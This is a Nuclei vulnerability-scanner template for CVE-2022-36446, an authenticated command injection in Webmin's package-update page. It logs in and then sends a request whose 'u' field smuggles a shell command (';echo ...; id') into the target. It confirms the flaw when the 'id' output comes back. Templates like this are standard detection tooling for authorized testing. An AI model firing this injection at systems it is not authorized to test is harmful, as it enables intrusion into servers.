nuclei-templates/cves/2022/CVE-2022-36446.yaml

55 lines
1.6 KiB
YAML
Raw Normal View History

id: CVE-2022-36446
info:
name: Webmin - Remote Code Execution (RCE) (Authenticated)
author: gy741
severity: critical
description: Webmin before 1.997 is vulnerable to RCE exploits. an authenticated, remote attacker to perform command injection attacks.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2022-36446
- https://medium.com/@emirpolat/cve-2022-36446-webmin-1-997-7a9225af3165
- https://www.exploit-db.com/exploits/50998
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2022-36446
cwe-id: CWE-116
tags: cve,cve2022,webmin,rce,oast,authenticated
requests:
- raw:
- |
POST /session_login.cgi HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:102.0) Gecko/20100101 Firefox/102.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Cookie: testing=1
Content-Type: application/x-www-form-urlencoded
user={{username}}&pass={{password}}
- |
POST /package-updates/update.cgi HTTP/1.1
Host: {{Hostname}}
Referer: {{BaseURL}}/package-updates/update.cgi?xnavigation=1
mode=new&search=ssh&redir=&redirdesc=&u=0%3Becho+%27{{randstr}}%27%27{{randstr}}%27%3B+id%3B+echo+%27{{randstr}}%27%27{{randstr}}%27&confirm=Install%2BNow
cookie-reuse: true
matchers-condition: and
matchers:
- type: word
part: body
words:
- '{{randstr}}'
- 'uid'
- 'gid'
- 'groups'
condition: and
- type: status
status:
- 200